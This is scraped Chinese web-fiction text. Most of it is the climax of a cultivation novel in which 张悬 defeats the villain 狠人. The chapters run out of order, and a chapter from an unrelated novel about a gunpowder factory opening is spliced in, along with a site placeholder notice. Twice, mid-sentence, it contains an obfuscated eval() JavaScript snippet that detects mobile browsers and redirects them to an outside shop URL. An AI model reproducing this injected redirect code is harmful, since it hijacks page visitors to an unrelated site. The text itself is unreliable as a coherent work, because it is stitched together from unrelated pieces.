孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546034|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第62章**园开业 寅时正刻,夜色尚未完全褪去,天地间弥漫着破晓前最深的寒意。然而,江南**产业园外,却已是另一番如火如荼的景象。无数火把、气灯将这片新兴之地照得亮如白昼,人声鼎沸,热气蒸腾,驱散了早春凌晨的清冷。 晨曦的微光刚刚试图在天边涂抹第一缕淡青,铁龙轨道如同巨龙的骨架,纵横交错,环绕着初具规模的工坊区。薄雾如轻纱般笼罩,使那些棱角分明的建筑群若隐若现,更添几分神秘与宏伟。最引人注目的,是园区四周巍然耸立的十二座火龙炮塔,它们并非旧式砖石结构,而是采用了新式的钢铁框架与混凝土基座,塔身黝黑,线条冷硬,炮口森然指向苍穹,如同十二位沉默而忠诚的钢铁巨人,镇守着这片即将点燃大燕工业**火炬的核心之地。空气中,隐隐弥漫着硫磺和硝石特有的气味,混合着煤烟、金属和新鲜泥土的气息,预示着一个全新时代的脉搏正在这里强劲地跳动。 来自天南海北的人群汇聚于此:有穿着粗布短褂、眼神热切的工匠;有身着绫罗绸缎、精于计算的商贾;有闻讯赶来、满脸好奇的普通百姓;还有不少高鼻深目、衣着奇特的海外使节,他们的脸上写满了惊疑与探究。人们翘首以盼,目光聚焦在那扇紧闭的、由厚重钢铁铸成的园区大门上,等待着见证一个注定载入史册的时刻。 园区中央,一座临时搭建却依旧气势不凡的高台上,谢凤卿迎风而立。她今日未着繁复宫装,一身玄色绣金凤的利落骑射服,勾勒出她挺拔秀逸的身姿,乌云般的长发仅用一根简单的白玉凤簪挽起,简洁中透出不容置疑的威仪。晨风吹拂起她鬓边的几缕发丝,掠过她如玉的脸颊和那双沉静如幽潭的眼眸。望着下方熙熙攘攘、望不到尽头的人群,听着那如同海潮般汹涌的人声,她的心中百感交集,激荡难言。 几个月前,这里还只是图纸上的线条和她脑海中大胆的构想,是一片无人问津的荒芜之地。朝中非议不断,宗室顽固派冷眼旁观,甚至暗箭伤人,民间亦有疑虑之声。每一步都走得如履薄冰。如今,曾经的空想即将化为现实,这片土地上即将诞生的,不仅仅是**,更是国富民强的希望,是打破陈规、开启新局的引擎。这其中的艰辛与压力,唯有她自己深知。 一件还带着体温的玄色貂绒大氅轻轻披在了她的肩上,挡住了清晨的寒意。萧御静立在她身侧,他今日亦是一身墨色劲装,外罩暗纹软甲,腰佩长剑,身形挺拔如松。他的目光并未一直停留在下方的人群,而是敏锐地扫过园区内外的每一个角落,那些明处肃立的精兵,暗处潜伏的风雪十八骑,都在他无声的掌控之中。 “一切都已准备就绪。”他低沉的声音在她耳畔响起,一如既往的沉稳有力,像定海神针般,抚平了她心底最后一丝因盛大场面而生的细微波澜。 谢凤卿微微侧首,对上他深邃的眼眸。那双平日里锐利如鹰隼、可洞察一切阴谋的眼睛,此刻盛满的,是她早已熟悉的信任、理解与毫无保留的支持。在他面前,她无需总是那个坚不可摧的摄政王,偶尔流露的脆弱与紧张,也能被安然接纳。 “记得我们第一次深入讨论**产业化时的情景吗?”萧御忽然问道,嘴角勾起一丝几不可察的柔和弧度。 谢凤卿闻言,唇角不禁微微扬起,露出一抹真切的笑意,恍若冰莲初绽,驱散了眉宇间的些许凝重:“如何不记得?那夜在书房,烛火燃了半宿。你听罢我的构想,沉默了许久,然后说,‘此策利国利民,然牵涉过广,举动太大,恐动摇国本,非万全之策不可行。’”她模仿着萧御当时严肃的语气,眼中闪过一丝狡黠。 萧御低笑一声,那笑声低沉而富有磁性:“是啊,那时只觉你胆大包天,竟欲将国之重器民营化,简直是行走于万丈深渊之畔。”他的目光再次扫过眼前规划整齐、戒备森严、充满了蓬勃生机的园区,语气带着毫不掩饰的赞赏与叹服,“而现在,你以无可辩驳的事实向天下人证明,这非但不是动摇国本,反而是夯实国基、开启盛世的强国之本。凤卿,你做到了。” 这一声“凤卿”,在私下里他偶尔会唤,但在这样的公开场合,隔着衣料轻轻触碰她手臂的动作,都带着隐秘而坚定的力量。谢凤卿心中暖流涌动,那份因他而起的安定感愈发坚实。她转回头,望向那扇即将开启的大门,目光重新变得锐利而坚定。 辰时正刻,吉时已到! “咚——咚——咚——”浑厚的钟声响彻云霄,压过了所有的嘈杂人声。 紧接着,便是震耳欲聋的十二声炮响!并非实弹,而是特制的礼花弹。只见十二座火龙炮塔的炮口同时喷射出耀眼的火光,一道道炽热的焰芒如同逆飞的流星,直冲黎明天际,然后在最高点轰然绽放,化作漫天绚烂的烟花火雨,将黎明前略显灰暗的天空映照得如同白昼,流光溢彩,璀璨夺目。**的轰鸣声和视觉的震撼力,完美地展现了其兼具建设与毁灭的双重特性,也象征着力量与秩序的重塑。 “开——园——!”礼官拖长了声音,高声唱喏。 沉重的钢铁大门在机括的嘎吱声中,缓缓向内开启,露出里面更加宽阔、布局严谨的工坊区域。在身着统一服饰、神情肃穆的精兵引导下,持有邀请函的各方代表——商会首领、大工坊主、地方官员、海外使节等,按预先安排的顺序,井然有序地步入这个神秘而令人向往的产业禁地。 谢凤卿在萧御、霍三娘等核心人员的簇拥下,缓步走下高台,来到工坊核心区域的一片广场上。广场中央,设立着一个特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546035|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意打造的青铜点火装置。装置造型古朴而精巧,上面雕刻着繁复的云纹和展翅凤凰图案,在四周火把的照耀下,闪烁着幽冷而神秘的光泽。 所有的目光都聚焦在谢凤卿身上。她深吸一口气,步履沉稳地走到装置前。广场上鸦雀无声,连呼吸都似乎变得轻微。她能感受到身后萧御投来的专注目光,能听到自己胸腔内那颗心脏有力而期待的跳动。 她伸出白皙修长、却蕴含着决断力量的手,缓缓按下了那个象征着启动的机关。 “铿!”一声清脆的机括响动。 紧接着,是“轰——隆隆——”一阵沉闷而后愈发响亮的轰鸣,从工坊区深处传来!仿佛地龙翻身,又如同巨兽苏醒。只见分布在园区各处的数十座巨型熔炉,在同一时刻被点燃,炽热的火焰如同一条条狂暴的火龙,从炉口喷涌而出,冲天而起!灼热的气浪以肉眼可见的形态向四周扩散,即便相隔甚远,人们也能感受到那股扑面而来的热意,仿佛瞬间从微寒的清晨进入了炎夏正午。整个园区被映照得一片通红,火光跳跃在每一个人的脸上,眼中,点燃了他们心中的兴奋、希望与震撼。 “天佑大国!凤皇万岁!”短暂的寂静之后,人群爆发出震耳欲聋的、发自肺腑的欢呼声,声浪一波高过一波,几乎要掀翻天空。工匠们激动地挥舞着拳头,商贾们眼中闪烁着财富的光芒,百姓们脸上洋溢着对未来的憧憬。 海外使节们面面相觑,皆从对方眼中看到了难以置信的震惊。他们见识过西欧的工场,却从未见过如此集中、规模如此庞大、并且以**这种敏感物资为核心的生产基地。更让他们感到不可思议的是,主导这一切的,竟然是东方王朝的一位年轻女性摄政王。这彻底颠覆了他们对这个古老国度的认知。 得到官方许可的民营**商人,早已按捺不住,订单如雪片般飞向工坊的管事处。车间里,工匠们按照初步制定的流程,分工协作,虽然略显忙乱,却效率惊人。粉碎、配料、搅拌、压制成型、晾晒、包装……一道道工序在新建的厂房内有条不紊地进行着。机器的轰鸣声、工匠的号子声、运输车辆的轱辘声,交织成一曲充满力量感的工业交响。 霍三娘快步走上高台,她的额角带着细密的汗珠,眼神却亮得惊人,激动地向谢凤卿禀报:“王爷,订单统计出来了!这才半天功夫,已经突破百万两白银!其中来自暹罗、倭国、弗朗机等海外商船的订单,就占了六成以上!这还只是开始,后续恐怕会更多!” 谢凤卿面色平静,对这个数字似乎并不意外。她更关心的是秩序与安全。“通知下去,严格按照产能接单,确保质量,宁可慢些,不可出错。工坊安全乃第一要务,增派巡查人手,严禁任何明火靠近生产区。” 第63章有刺客!保护王爷 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 